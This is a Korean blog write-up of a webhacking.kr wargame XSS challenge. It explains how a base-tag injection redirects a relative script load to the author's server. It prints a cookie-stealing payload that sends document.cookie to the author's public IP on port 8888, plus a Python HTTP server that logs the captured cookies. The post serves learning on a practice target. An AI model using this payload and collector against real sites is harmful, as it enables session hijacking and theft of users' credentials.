본문 바로가기
해킹 공부/웹해킹

XSS (base tag url)

by zzzmilky 2021. 11. 10.

드림핵에서만 문제를 풀다가 이전에 웹 문제를 열심히 풀었었던 webhacking.kr에 오랜만에 들어가보았다.
문제가 몇개 리뉴얼 돼서 올라왔길래 하나 풀어봤는데 쉽지 않았...
특히 항상 XSS문제를 풀때마다 많이 어렵다고 생각햇는데 이 문제도 XSS 문제라 좀 어려움을 겪었었다.

inject 파라미터에 tag injection이 가능하다는 것을 확인할 수 있다. 전형적인 XSS payload인 <script>alert(1)</script>를 삽입해보았는데, CSP가 설정 때문인가 필터링 때문인가 XSS공격에 실패했다.

개발자 도구로 페이지를 살펴보니 script src=/script.js 이런식으로 script 소스를 불러온다는 것을 확인할 수 있었다.
원래 의도대로라면 webhacking.kr:10010/script.js 를 의미한 거겠지만 base url 를 사용해 공격자 도메인의 악의적인 script.js 코드를 실행할 수 있게 된다.



따라서 내 서버에 script.js 파일을 만들고 그 안에 alert(1)과 같은 스크립트를 작성해주고,
inject 뒤에는 <base href="내서버"> 를 삽입해주었다.

그렇게 되면 내 서버의 script.js 파일을 읽어오고 alert(1)가 브라우저에 뜨게 된다.
alert 대신 document.cookie를 출력시키도록 XSS payload를 작성했다.

report.php에 들어가 inject뒤에 마찬가지로 base tag를 입력해준 뒤,
봇이 내 서버에 방문해서 스크립트 리소스를 불러오면 쿠키값을 탈취하게 된다.

나는 내 도메인이 없어서...ㅜ 구현에 있어서 나는 포트 2개를 활용한 포트포워딩 방식으로 해결했다..

내 공인 ip:8080 서버에 XSS payload를 담은 script.js를 올리고,
공인 ip:8888에 cookie와 접속시간 등을 출력시키는 http 서버를 실행시켰다.

from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from urlparse import urlparse, parse_qs
from datetime import datetime


class MyHandler(BaseHTTPRequestHandler):

    def do_GET(self):
        query_components = parse_qs(urlparse(self.path).query)
        print ""
        print "%s - %s\t%s" % (
            datetime.now().strftime("%Y-%m-%d %I:%M %p"),
            self.client_address[0],
            self.headers['user-agent'])
        print "-------------------"*6
        for k, v in query_components.items():
            print "%s\t\t\t%s" % (k.strip(), v)

        # print query_components
        # self.send_response(500)

        # self.send_header("Content-type", "text/html")
        # self.end_headers()
        # self.wfile.write(c)

        return

    def log_message(self, format, *args):
        return

if __name__ == "__main__":
    try:
        server = HTTPServer(('0.0.0.0', 8888), MyHandler)
        print('Started http server')
        server.serve_forever()
    except KeyboardInterrupt:
        print('^C received, shutting down server')
        server.socket.close()

8888포트에서 실행되는 파이썬 서버 (밑에 깃헙 레포 참고해서 코드 작성)

 

location.href="공인ip:8888/?"+document.cookie;

8080포트에서 실행되는 script.js (XSS payload)







한편 웹해킹에 도움이 될만한 레포지토리를 찾아서 매우 기뻤다....!!!!!

jhchoi0303/WebHacking101: Web-App-Hacking-Notes (github.com)

 

GitHub - jhchoi0303/WebHacking101: Web-App-Hacking-Notes

Web-App-Hacking-Notes. Contribute to jhchoi0303/WebHacking101 development by creating an account on GitHub.

github.com

 

댓글